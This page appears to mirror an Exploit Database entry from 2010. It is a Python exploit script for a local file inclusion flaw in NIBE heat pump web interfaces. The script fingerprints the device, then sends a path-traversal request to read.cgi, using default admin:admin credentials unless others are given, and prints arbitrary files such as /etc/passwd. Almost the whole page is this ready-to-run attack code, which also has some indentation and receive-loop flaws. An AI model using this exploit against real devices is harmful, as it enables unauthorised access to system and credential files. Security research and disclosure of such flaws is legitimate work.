NIBE heat pump – Local File Inclusion

• Exploit Database
• 8 阅读

• 作者： Jelmer de Hen
  日期： 2010-04-28
• 类别：

  • webapps
  平台：

  • cgi
• 来源：https://www.exploit-db.com/exploits/12434/

• #!/usr/bin/python
  import socket,sys,os,base64
  # NIBE heat pump LFI exploit
  #
  # Written by Jelmer de Hen
  # Published at http://h.ackack.net/?p=302
  #
  # Special thanks to Fredrik Nordberg Almroth and Mathias Karlsson for obtaining this information http://h.ackack.net/?p=274 which made me test the heat pumps and find the exploits.
  
  
  def finger_heatpump(ip, port):
  	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  	s.connect((ip, port))
  	s.send("GET / HTTP/1.1\n\n")
  	header = s.recv(1024)
  	s.close()
  	if header.find("NIBE") !=-1:
  		return 1
  	else:
  		return 0
  
  def exploit_pump(ip, port, filename, basic_auth):
  	s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
  	s.connect((ip, port))
  	s.send("GET /cgi-bin/read.cgi?page=../.."+filename+" HTTP/1.1\nAuthorization: Basic "+basic_auth+"\n\n")
  	file = ""
  	while s.recv(1024):
  		file = file + s.recv(1024)
  	s.close()
  	return file
  
  def instructions():
  	print sys.argv[0]+" [ip] [port] [filename] [username (default=admin)] [password (default=admin)]"
  print "Written by Jelmer de Hen"
  print "published at http://h.ackack.net/?p=302"
  	print "Examples:"
  	print sys.argv[0]+" 127.0.0.1 80 /etc/passwd"
  	print sys.argv[0]+" 127.0.0.1 80 /etc/passwd admin p455w0rd"
  	sys.exit(1)
  
  def main():
  	if len(sys.argv)==4 or len(sys.argv)==6:
  		try:
  			ip = sys.argv[1]
  			port = int(sys.argv[2])
  			filename = sys.argv[3]
  		except:
  			instructions()
  		try:
  			basic_auth = base64.b64encode(sys.argv[4]+":"+sys.argv[5])
  		except:
  			basic_auth = base64.b64encode("admin:admin")
  
  		if finger_heatpump(ip, port) == 1:
  			print "[+] Fingerprint scan success"
  			file_contents = exploit_pump(ip, port, filename, basic_auth)
  			if len(file_contents)==0:
  				print "[-] The exploit failed, you can retry the exploit or the username and/or password are not right"
  			else:
  				print "[+] Contents of "+filename+":"
  				print file_contents
  		else:
  			print "[-] Fingerprint scan failed"
  
  	else:
  		instructions()
  
  if __name__ == "__main__":
  	sys.exit(main())